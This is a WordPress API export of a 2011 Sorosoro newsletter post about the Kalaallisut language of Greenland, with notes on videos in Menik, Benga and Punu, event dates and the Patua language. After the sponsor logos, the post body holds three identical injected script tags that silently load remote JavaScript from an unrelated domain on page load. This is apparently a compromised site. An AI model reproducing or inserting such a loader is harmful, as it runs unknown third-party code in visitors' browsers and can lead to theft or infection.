{"id":61306,"date":"2011-11-13T23:36:37","date_gmt":"2011-11-13T22:36:37","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=61306"},"modified":"2025-10-21T22:14:07","modified_gmt":"2025-10-21T20:14:07","slug":"sorosoro-november-11-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/","title":{"rendered":"Sorosoro, November 11, 2011 <br\/><span style=\"font-size: 20px\">  On the road to Greenland<\/span>"},"content":{"rendered":"<p style=\"text-align: justify;\">Sorosoro has filmed in many sun-kissed countries but has yet to reach the lands of ice and extreme cold. The Arctic region is home to a number of indigenous languages, from Siberia through to Alaska, Canada, and Greenland. These are our first Arctic steps, exploring the Kalaallisut language.<\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #939523;\">Video<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\">Linguist <strong>Lenore Grenoble<\/strong> gives a captivating lecture on <strong>Greenland<\/strong>, which recently gained even further autonomy, after a few centuries of Danish colonization. We learn that <strong>Kalaallisut<\/strong>, now an official language, is very present in Greenlandic daily life and especially in the education sphere.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/kalaallisut-language-of-greenland-a-lecture-by-lenore-grenoble\">See video<\/a><\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #939523;\">Blog<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\">Lenore Grenoble also signs an article this week titled &#8220;<strong>Language and identity in Greenland<\/strong>&#8221; underlining the strong attachment Greenlanders show towards their language \u2013 the only indigenous language spoken in the Arctic for which the number of speakers is actually increasing!<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/language-and-identity-in-greenland\">Read blog<\/a><\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #939523;\">Soropedia<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\">The picture would not be complete without a full <a href=\"https:\/\/www.sorosoro.org\/en\/kalaallisut\">description sheet on <strong>Kalaallisut<\/strong><\/a>, providing many details on the language and its variants.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\"><span style=\"color: #800104;\">Other videos this week<\/span><\/h5>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #939523;\">In Spanish, from Senegal to Gabon<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\">Videos subtitled in Spanish keep coming in: this week a tale in <a href=\"http:\/\/www.sorosoro.org\/es\/videos-en-lengua-menik-%e2%80%93-senegal\"><strong>Menik language<\/strong><\/a> (Senegal), the <strong>tale of poor Tama the Hyena<\/strong>, who specializes in misfortune.<\/p>\n<p style=\"text-align: justify;\">Also on schedule, a report in <a href=\"http:\/\/www.sorosoro.org\/es\/videos-en-lengua-benga-gabon\"><strong>Benga language<\/strong><\/a> on the traditional yet threatened activity of<strong> turtle fishing<\/strong> in Gabon.<\/p>\n<p style=\"text-align: justify;\">And to end with, a short clip on words referring to <strong>body parts<\/strong> in <a href=\"http:\/\/www.sorosoro.org\/es\/videos-en-la-lengua-punu-gabon\"><strong>Punu language<\/strong><\/a>, Gabon.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\"><span style=\"color: #800104;\">More info and dates<\/span><\/h5>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #939523;\">Agenda<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>December 8, 2011 <\/strong>\u2013 6pm: The <strong>Sorosoro program marks its 3rd year of existence<\/strong> at Maison des Cultures du Monde, Paris, with a particular focus in India (including talks by Ir\u00e8ne Frain, Anvita Abbi&#8230; and the screening of an independent Indian film, <em>Yarwng<\/em>). We\u2019ll also be talking about Africa and Overseas France. Come out in numbers, the event is free and everyone is welcome!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/december-8-2011-3rd-sorosoro-sessions-at-maison-des-cultures-du-monde-paris\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>November 27 \u2013 December 16, 2011<\/strong>: Langfest in Canberra, Australia, 3 weeks worth of conferences on languages.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/november-27-december-16-2011-langfest-canberra-australia\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong><span style=\"color: #939523;\">News<\/span><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>October 31, 2011<\/strong>: AFP article on the last speakers of <strong>Patua<\/strong>, in <strong>Macau<\/strong> \u2013 the world\u2019s largest gambling city, returned under Chinese jurisdiction in 1999 \u2013 having trouble surviving in this most unfavorable environment&#8230;<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/october-31-2011-afp-article-on-last-speakers-of-patua-macau\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\"><span style=\"color: #800104;\">Word of the fortnight<\/span><\/h5>\n<p style=\"text-align: justify;\">A new word we\u2019d like to have you work on, likely to exist in most of the world\u2019s languages: <a href=\"https:\/\/www.sorosoro.org\/en\/two\"><strong>two<\/strong><\/a>. Do feel free to throw in your translations!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-56768 alignnone\" title=\"logo_FondationOrange-en\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" alt=\"logo_FondationOrange-en\" width=\"168\" height=\"61\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sorosoro has filmed in many sun-kissed countries but has yet to reach the lands of ice and extreme cold. The Arctic region is home to a number of indigenous languages, from Siberia through to Alaska, Canada, and Greenland. These are our first Arctic steps, exploring the Kalaallisut language. Video Linguist Lenore Grenoble gives a captivating [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-61306","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro, November 11, 2011  On the road to Greenland - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro, November 11, 2011  On the road to Greenland - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Sorosoro has filmed in many sun-kissed countries but has yet to reach the lands of ice and extreme cold. The Arctic region is home to a number of indigenous languages, from Siberia through to Alaska, Canada, and Greenland. These are our first Arctic steps, exploring the Kalaallisut language. Video Linguist Lenore Grenoble gives a captivating [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-11-13T22:36:37+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:14:07+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro, November 11, 2011 On the road to Greenland\",\"datePublished\":\"2011-11-13T22:36:37+00:00\",\"dateModified\":\"2025-10-21T20:14:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\"},\"wordCount\":392,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\",\"name\":\"Sorosoro, November 11, 2011 On the road to Greenland - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"datePublished\":\"2011-11-13T22:36:37+00:00\",\"dateModified\":\"2025-10-21T20:14:07+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro, November 11, 2011 On the road to Greenland\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro, November 11, 2011  On the road to Greenland - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro, November 11, 2011  On the road to Greenland - Sorosoro","og_description":"Sorosoro has filmed in many sun-kissed countries but has yet to reach the lands of ice and extreme cold. The Arctic region is home to a number of indigenous languages, from Siberia through to Alaska, Canada, and Greenland. These are our first Arctic steps, exploring the Kalaallisut language. Video Linguist Lenore Grenoble gives a captivating [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-11-13T22:36:37+00:00","article_modified_time":"2025-10-21T20:14:07+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro, November 11, 2011 On the road to Greenland","datePublished":"2011-11-13T22:36:37+00:00","dateModified":"2025-10-21T20:14:07+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/"},"wordCount":392,"image":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/","name":"Sorosoro, November 11, 2011 On the road to Greenland - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","datePublished":"2011-11-13T22:36:37+00:00","dateModified":"2025-10-21T20:14:07+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/logo_FondationOrange-en.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/11\/sorosoro-november-11-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro, November 11, 2011 On the road to Greenland"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/61306","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=61306"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/61306\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=61306"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=61306"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=61306"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}